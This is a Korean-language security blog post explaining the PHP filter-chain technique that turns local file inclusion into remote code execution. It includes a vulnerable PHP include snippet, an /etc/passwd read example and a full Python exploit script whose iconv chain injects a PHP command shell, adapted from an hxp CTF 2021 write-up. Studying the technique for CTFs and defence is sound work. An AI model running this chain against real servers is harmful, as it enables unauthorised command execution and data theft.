728x90
iconv 변환 필터를 이용하여 서버측의 필터링 기능 우회를 성공하면서 발견된 취약점이다.
PHP Filter의 활용
- `php://input` , `php://filter` , `php://output` 같은 스트림 래퍼를 활용하여 파일 경로를 조작하거나 데이터를 읽어들일 수 있다.
- `php://filter` : php에서 파일 스트림을 필터링할 수 있도록 하는 스트림 래퍼이다. 이를 사용하면 데이터를 실시간으로 변환하거나 필터링 할 수 있다.
php://filter/변환:필터/파일경로
예를 들어 아래와 같은 코드를 사용하면 사용자 입력을 통해 파일 경로를 포함시켜 비인가 경로에 접근 할 수 있다.
<?php
$file = $_GET['file'];
include("php://filter/convert.base64-encode/resource=$file");
?>
file의 파라미터를 통해 URL 파라미터를 `../../etc/passwd` 로 설정하면 파일의 내용을 Base64로 인코딩하여 읽어낼 수 있다.
[PHP Filter chain] LFI2RCE
r = requests.get(challenge_url, params={
"0": "/readflag",
"action": "include",
"file": f"php://filter/{filters}/resource={any_file_we_can_read}"
})
print(r.text)
- `convert.iconv.UTF8.CSISO2022KR\x1b$)C` 항상 문자열 앞에 추가됩니다
- `convert.base64-decode` 는 기본적으로 유효한 base64가 아닌 모든 문자를 무시합니다.
- \x1b$)C위에서 설명한 대로 문자열 앞에 추가합니다 .
- 초기 base64를 그대로 유지하고 방금 추가한 부분을 유일한 유효한 base64 문자가 base64로 인코딩된 PHP 코드의 다음 부분인 문자열로 변환하는 일부 iconv 변환 체인을 적용합니다.
- 문자열을 base64-decode 및 base64-encode하여 중간에 있는 모든 가비지를 제거합니다.
- 우리가 구성하려는 base64가 아직 완료되지 않았다면 1로 돌아갑니다.
- base64-decode를 사용하여 php 코드를 얻습니다.
전체 스크립트
import requests
url = "http://localhost/index.php"
file_to_use = "/etc/passwd"
command = "/readflag"
#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"
conversions = {
'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}
# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"
for c in base64_payload[::-1]:
filters += conversions[c] + "|"
# decode and reencode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
# get rid of equal signs
filters += "convert.iconv.UTF8.UTF7|"
filters += "convert.base64-decode"
final_payload = f"php://filter/{filters}/resource={file_to_use}"
r = requests.get(url, params={
"0": command,
"action": "include",
"file": final_payload
})
print(r.text)
https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d
Solving "includer's revenge" from hxp ctf 2021 without controlling any files
Solving "includer's revenge" from hxp ctf 2021 without controlling any files - writeup.md
gist.github.com
'보안 > 취약점' 카테고리의 다른 글
[CVE-2019-19781] CitrixADC 및 CitrixGateway 취약점 (0) | 2024.05.27 |
---|---|
[CVE-2022-22965] Spring4Shell 취약점 (0) | 2024.05.27 |
[CVE-2018-12116] Node.js SSRF 취약점 (0) | 2024.05.27 |
[CVE-2018-10562] GPON RCE 취약점 (0) | 2024.05.25 |
[CVE-2019-8942] WordPress RCE 취약점 (0) | 2024.05.24 |